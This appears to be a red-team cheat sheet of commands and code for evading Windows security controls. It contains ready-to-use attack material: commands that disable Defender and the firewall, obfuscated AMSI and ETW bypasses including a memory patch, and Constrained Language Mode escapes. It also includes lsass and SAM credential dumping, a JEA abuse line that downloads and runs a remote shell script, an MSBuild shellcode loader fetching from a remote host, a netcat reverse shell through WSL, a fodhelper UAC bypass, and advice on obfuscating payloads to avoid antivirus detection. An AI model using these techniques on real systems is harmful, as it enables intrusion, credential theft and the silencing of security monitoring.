python3 serviceDetector.py -conf conf/edr.json <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
Run against multiple targets
cat targets.txt | parallel -j 50 python3 serviceDetector.py -conf conf/edr.json <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
Get all GPO's applied to a machine
Detects On-disk, In-Memory (AMSI) and Behavioural
Check if windows defender is running
Get-MpComputerStatus
Get-MpComputerStatus | Select RealTimeProtectionEnabled
Get info about Windows Defender
Find excluded folder from Windows Defender
Get-MpPreference | select Exclusion*
(Get-MpPreference).Exclusionpath
Script to dump MDE config / ASR rules
Set-MpPreference -ExclusionPath "<path>"
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPReference -DisableIOAVProtection $true
powershell.exe -c 'Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true'
Get-NetFirewallProfile -PolicyStore ActiveStore
Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow
netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
New-NetFirewallRule -DisplayName "Allow port" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort <PORT>
Remove-NetFirewallRule -DisplayName "Allow port"
System-wide transcription
Script Block logging
Module logging
AntiMalware Scan Interface (AMSI)
Constrained Language Mode (CLM) - Integrated with Applocker and WDAC (Device Guard)
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
It is not a security boundary.
Not meant to be a security measure
powershell –executionpolicy bypass .\script.ps1
powershell –c <cmd>
powershell –enc
powershell.exe -executionpolicy bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
AMSI bypass string obfuscated
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils');
$v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true);
AMSI bypass string 2 obfuscated
$MethodDefinition = @"
[DllImport(`"kernel32`", EntryPoint="GetProcAddress")]
public static extern IntPtr GetProc(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`",EntryPoint="VirtualProtect" )]
public static extern bool Virtual(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@;
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kern' -NameSpace 'W' -PassThru;
$ABSD = 'Ams'+'iS'+'canBuffer';
$handle = [W.Kern]::GetModuleHandle('ams'+'i.dll');
[IntPtr]$BAddress = [W.Kern]::GetProc($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$PFlag = 0x40;
[UInt32]$OFlag = 0;
[W.Kern]::Virtual($BAddress, $Size, $PFlag, [Ref]$OFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BAddress, 6);
Event Tracing for Windows
Very effective way of hunting .NET
Reflectivly modify the PowerShell process to prevent events being published. ETW feeds ALL of the other logs so this disabled everything!
Also bypasses scriptblock logging
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static'); $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid()); $EtwProvider.SetValue($null, $EventProvider);
[Reflection.Assembly]::"l`o`AdwIThPa`Rti`AlnamE"(('S'+'ystem'+'.C'+'ore'))."g`E`TTYPE"(('Sys'+'tem.Di'+'agno'+'stics.Event'+'i'+'ng.EventProv'+'i'+'der'))."gET`FI`eLd"(('m'+'_'+'enabled'),('NonP'+'ubl'+'ic'+',Instance'))."seTVa`l`Ue"([Ref]."a`sSem`BlY"."gE`T`TyPE"(('Sys'+'tem'+'.Mana'+'ge'+'ment.Aut'+'o'+'mation.Tracing.'+'PSEtwLo'+'g'+'Pro'+'vi'+'der'))."gEtFIe`Ld"(('e'+'tw'+'Provid'+'er'),('N'+'o'+'nPu'+'b'+'lic,Static'))."gE`Tva`lUe"($null),0)
$ExecutionContext.SessionState.LanguageMode
Escapes for Constrained Language Mode
Launch Powershell Version 2
Powershell.exe -Version 2
Overwrite __PSLockdownPolicy variable
If CLM is not implemented correctly and is using __PSLockdownPolicy
Check the __PSLockdownPolicy value
Value 4 is enabled
Value 8 is disabled
(Get-ItemProperty 'hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -name "__PSLockdownPolicy").__PSLockDownPolicy
Set lockdown policy to 8 and check language mode
Set-ItemProperty 'hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -name "__PSLockdownPolicy" -Value 8
powershell.exe
$ExecutionContext.SessionState.LanguageMode
rundll32 PowerShx.dll,main -i
PowerShx.exe -i
PowerShdll Run PowerShell with dlls only.
rundll32 PowerShdll,main -i
Download files with certutil
You can not use iwr but you can use certutil in constrained language mode
certutil -urlcache -split -f <URL>
It is possible to execute scripts on the filesystem but you can't load them!
If applocker is there enumerate it to find a directory that lets you execute scripts in
With non-admin privileges:
RunWithRegistryNonAdmin.bat
Script Block logging bypass
Use Winrs instead of PSRemoting to evade System-wide-transcript and deep script block logging
winrs -remote:server1 -u:<COMPUTERNAME>\<USER> -p:<PASS> hostname
Defines allowed cmdledt and commands that are allowed by defining role capabilities.
Connect with JEA endpoint
$creds = get-credential
$sess = New-PSSession -ComputerName <FQDN> -ConfigurationName <JEA ENDPOINT CONF NAME> -Credential $creds
Get the PSSession configurations (and JEA)
Get-PSSessionconfiguration
Get PSSession capabilities
Get-PSSessionCapability -ConfigurationName <NAME> -Username <DOMAIN>\<USERNAME>
Get-Command
# Abuse example
Start-Process cmd.exe calc.exe
Abuse - Creating functions
If JEA enpoint is running in Constrained Language Mode instead of NoLanguage it is possible to create your own functions!
Creates a function with the name gl
and executes it.
Shortcut would be ${ <COMMAND>}
function gl {Get-Location}; gl
function gl {whoami}; gl
function gl {powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://<IP>/shell.ps1'))"}; gl
Abuse - Grant a user to admin
Add-ADGroupMember, Add-LocalGroupMember, net.exe, dsadd.exe
Abuse - Running arbritary code
Start-Process, New-Service, Invoke-Item, Invoke-WmiMethod, Invoke-Command,
New-ScheduledTask, Register-ScheduledJob
Invoke-Command -ScriptBlock {net localgroup administrators <USER> /add}
Abuse - Set-PSSessionConfiguration
Connect and check the config
$sess = New-PSSession -ComputerName <FQDN> -Credential $creds -ConfigurationName <ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration
$existingSDDL = (Get-PSSessionConfiguration -Name "<PROFILE>" -Verbose:$false).SecurityDescriptorSDDL
Get SID for new user to add
$SID = (Get-DomainUser <USER>).Objectsid
Create new SDDL with a new USER SID
$isContainer = $false
$isDS = $false
$SecurityDescriptor = New-Object -TypeName Security.AccessControl.CommonSecurityDescriptor -ArgumentList $isContainer,$isDS, $existingSDDL
$accessType = "Allow"
$accessMask = 268435456
$inheritanceFlags = "none"
$propagationFlags = "none"
$SecurityDescriptor.DiscretionaryAcl.AddAccess($accessType,$SID,$accessMask,$inheritanceFlags,$propagationFlags) | Out-Null
$newSDDL = $SecurityDescriptor.GetSddlForm("All")
$newSDDL
Set-PSSessionConfiguration -name "<PROFILE>" -SecurityDescriptorSddl "<SDDL>" -force -Confirm:$false
Reconnect and check the config
$sess = New-PSSession -ComputerName <FQDN> -Credential $creds -ConfigurationName <ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration
Connect to reconfigured new endpoint
$sess2 = New-PSSession -ComputerName <FQDN> -Credential $creds2 -ConfigurationName <RECONFIGURED ENDPOINT>
Enter-PSSession $sess
Get-PSSessionConfiguration
AppLocker rules are split into 5 categories - Executable
, Windows Installer
, Script
, Packaged App
and DLLs
, and each category can have its own enforcement (enforced, audit only, none).
AppLocker has a set of default allow rules such as, allow everyone to execute anything within C:\Windows\*
- the theory being that everything in C:\Windows
is trusted and safe to execute.
The difficulty of bypassing AppLocker depends on the robustness of the rules that have been implemented. The default rule sets are quite trivial to bypass in a number of ways:
Executing untrusted code via trusts LOLBAS's.
Finding writeable directories within "trusted" paths.
By default, AppLocker is not even applied to Administrators.
Uploading into C:\Windows
requires elevated privileges, but there are places like C:\Windows\Tasks
that are writeable by standard users.
DLL enforcement very rarely enabled due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break.
Good repo for bypasses: https://github.com/api0cradle/UltimateAppLockerByPassList
Check if Applocker is enabled
Get-AppLockerPolicy -Effective
Enumerate Applocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"
Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"
reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2
Check policy with GPOresult
Open the HTLM file locally
Get-DomainGPO -Identity *applocker*
Parse-PolFile "<GPCFILESYSPATH FROM GET-DOMAINGPO>\Machine\Registry.pol" | select ValueName, ValueData
If code integrity is enforced and PowerShell is running in Constrained Langauge Mode use winrs instead of psremoting
runas /netonly /user:<DOMAIN\<USER> cmd.exe
winrs -r:<PC NAME> cmd
Check for the policy on disk
.p7b
is a signed policy
Check if there are any .xml
files which didn't got removed with the policy
ls C:\Windows\system32\CodeIntegrity
Policy in C:\Windows\System32\CodeIntegrity\
in a .p7b
file. Delete the file and reboot to delete policy.
Only works if WDAC isn't enforced through GPO but setup locally!
SecurityServicesConfigured
and SecurityServicesRunning
values are:
No services configured/running
If present, Credential Guard is configured/running.
If present, HVCI is configured/running.
If present, System Guard Secure Launch is configured/running.
If present, SMM Firmware Measurement is configured/running.
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
.p7b
is a signed policy
Policies stored in C:\Windows\System32\CodeIntegrity
either in a Single file SiPolicy.p7b
or multiple policies in \CiPolicies
.
Check if there are any .xml
files which didn't got removed with the policy
ls C:\Windows\system32\CodeIntegrity
Check for readable xml policies
ls C:\Windows\system32\CodeIntegrity -Recurse -Include *.xml
Code signing ensures that files weren't tampered with and are verified by a trusted authority.
ADCS code signing EKU = Code Signing
(1.3.6.1.5.5.7.3.3
)
Requires Code Signing cert to be extracted from a system, or created through ADCS and it should be allowed in the WDAC policy!
Convert Pem to PFX with openssl
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Check .pfx file for code signing EKU
Code Signing 1.3.6.1.5.5.7.3.3
Cert Hash(sha1)
to validate cert hash
certutil -v -dump -p "<PASSWORD>" <PATH TO PFX>
.\signtool.exe sign /fd SHA256 /a /f <PATH TO PFX FILE> /p '<PASSWORD>' <EXE TO SIGN>
Get Signer Certificate of tool
Get-AuthenticodeSignature -FilePath <PATH TO EXE>
rundll32.exe and comsvcs.dll dumping lsass:
Get-Process | Select-String lsass
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PROCESS ID> C:\Users\Public\lsass.dmp full
dir C:\Users\Public\lsass.dmp
Invoke-Mimikatz -Command '"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"'
reg save HKLM\SECURITY security.bak
reg save HKLM\SYSTEM system.bak
reg save HKLM\SAM sam.bak
Invoke-Mimikatz -Command '"lsadump::sam system.bak sam.bak"'
secretsdump.py -sam sam.bak -security security.bak -system system.bak local
C:\Windows\System32\rundll32.exe <FILE>.dll,StartW
Can be used to execute arbitrary C# code from a .csproj
or .xml
file.
Example shellcode injector
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildTest/>
</Target>
<UsingTask
TaskName="MSBuildTest"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Net;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildTest : Task, ITask
{
public override bool Execute()
{
byte[] shellcode;
using (var client = new WebClient())
{
client.BaseAddress = "http://<IP>";
shellcode = client.DownloadData("shellcode.bin");
}
var hKernel = LoadLibrary("kernel32.dll");
var hVa = GetProcAddress(hKernel, "VirtualAlloc");
var hCt = GetProcAddress(hKernel, "CreateThread");
var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);
var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);
var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(t, 0xFFFFFFFF);
return true;
}
[DllImport("kernel32", CharSet = CharSet.Ansi)]
private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildTest/>
</Target>
<UsingTask
TaskName="MSBuildTest"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Linq;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildTest : Task, ITask
{
public override bool Execute()
{
using (var runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (var posh = PowerShell.Create())
{
posh.Runspace = runspace;
posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
var results = posh.Invoke();
var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
Console.WriteLine(output);
}
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Check if credential guard is configured
if ((Get-ComputerInfo).DeviceGuardSecurityServicesConfigured -match "CredentialGuardA") {return $true}else{return $false}
Check if credential guard is running
if ((Get-ComputerInfo).DeviceGuardSecurityServicesRunning -match "CredentialGuardA") {return $true}else{return $false}
Check if RunasPPL is configured
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL
Launch ConfuserEx
In Project tab select the Base Directory where the binary file is located.
In Project tab Select the Binary File that we want to obfuscate.
In Settings tab add the rules.
In Settings tab edit the rule and select the preset as Normal
.
In Protect tab click on the protect button.
We will find the new obfuscated binary in the Confused folder under the Base Directory.
Most examples are in PowerShell but techniques can be implemented in every coding language
Things that get you caught
Using Templates; MSbuild template / scripts / etc
Not changing variable & function names
Not removing comments
Not obfuscating common code exec patterns
Appplies to scripts, templates & Compiled code
Not changing error messages etc.
Entropy
Rougly - high entropy = more random
Higher entropy = less compressible
Problem: we encrypt shellcode to evade
encrypted shellcode = more random -> higher entropy
Dont randomize all the things
Changing default variable/func. names is good, but random characters is bad. Use two-word pairs.
How amsi evaluates PowerShell commands
The code is evaluated when its readable by the scripting engine
This is what allows us to still be able to obfuscate our code
# This
powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAoACIASABlAGwAbABvACAAVwBvAHIAbABkACIAKQA=
# Becomes
Write-Host("Hello World")
# But This
Write-Host("He" + "llo" + "World")
# Does not become
Write-Host("Hello World")
Change the following in scripts/code
Change Capitalization
PowerShell ignores capitalization, AMSI ignored capitalization, but changing your hash is best practice.
$variablename = "amsicontext"
to $VaRiAbLeNaMe = "amsicontext"
C# is case sensitive, but changing the capitalization changes the hash. (Must change every entry of the variable!)
Remove comments
Remove all comments out of the script/code
Change variable names
$variablename = "amsicontext"
to $LoremIpsum = "amsicontext"
Dont randomize all the things
Changing default variable/func. names is good, but random characters is bad. Use two-word pairs (Example: DragonBerrySmasher)
Concatenation
"amsicontext"
to "am" + "si" + "con" + "te" + "xt"
Variable insertion
$variablename = 'context'
into $variablename2 = "Amsi$variablename"
C# string variablename = "context"; string variablename2 = $"amsi{variablename}";
Format string
$variablename = "amsi{0}text -f "con"
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);
to $client = New-Object ("{0}{1}" -f 'SySteM.Ne', 'T.SoCkEts.TCPCliEnt')("10.10.10.10",80);
C# string variablename = "context"; string variablename2 = String.Format("amsi{0}",variablename);
Potentially the order of execution
Obfuscating shellcode
Shellcode as UUID
Reverse shellcode bytes
Break into chunks
Divide code into two arrays - even & odd bytes
Steganography
BigInteger() h/t
Shellcode as english words
Shellcode as Emoji
Lower entropy
Languages are not random
Create an array with a dictionary and compile it with the code (disable compiler optimization)
Misc
PowerShell
Properties of an object
Can be obfuscated with backticks $notify.icon
to $notify."i`c`on"
C#
Changing the variable type (i.e list vs array)
Rename your entrypoints
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32, EntryPoint = VirtualAlloc",
SetLastError = false, ExactSpelling = true)]
private static extern IntPtr SplendidDragon(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect);
Change methods and lines of code around.
Example of changing amsi bypass string
# Original amsi bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# New
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)
Defeating Microsoft Defender
Run Threatcheck .\ThreatCheck.exe -f .\shell.exe
Replace string which gets detected.
Recompile and check again!
.\ThreatCheck.exe -f .\shell.ps1 -e AMSI
.\AmsiTrigger.exe -i .\shell.ps1 -f 2
C:\Users\Public\Loader.exe -path http://xx.xx.xx.xx/something.exe
Use custom exe Assembyload to run netloader in memory and then load binary
C:\Users\Public\AssemblyLoad.exe http://xx.xx.xx.xx/Loader.exe -path http://xx.xx.xx.xx/something.exe
pyinstaller.exe --onefile .\CVE-2021-1675.py
pyarmor pack --clean -e "--onefile " .\CVE-2021-1675.py
Windows Subsystem for Linux WSL
AVs which do not use Pico process APIs have no visibility of the processes executed using WSL. This provides better chances of bypass.
With the additional Linux tooling included (like Python), WSL increases the attack surface of a machine and the opportunities to abuse the new functionality.
wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc <IP> <PORT> 1>/tmp/backpipe
In both the above cases, the Windows application will have:
– Same permissions as the WSL process.
– Run as the current Windows user.
– Uses the working directory as the WSL command prompt. That is we can access the Windows file system from WSL.
bash.exe -c cmd.exe
wsl.exe cmd.exe
Export the current user rights set by the group policies to a text file:
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS
Change the SeDebugPrivileges to S-1-5-32-544
the Local administrator group.
notepad.exe secpolicy.inf
Save the new user rights set
secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS
Check privileges with whoami
if not having SeDebugPrivilege do PsExec.exe -i cmd.exe
.\Akagi64.exe <METHOD> <EXECUTABLE>
.\Akagi64.exe 34 cmd.exe
Automatec UAC bypass PowerShell script
.\Win-Multi-UAC-Bypass.ps1
Can also use C:\Windows\System32\cmd.exe /c powershell.exe
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "<PATH TO EXE>" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Check current UAC configuration
The default configuration for UAC is Prompt for consent for non-Windows binaries, but can also have different settings such as Prompt for credentials, Prompt for consent and Elevate without prompting.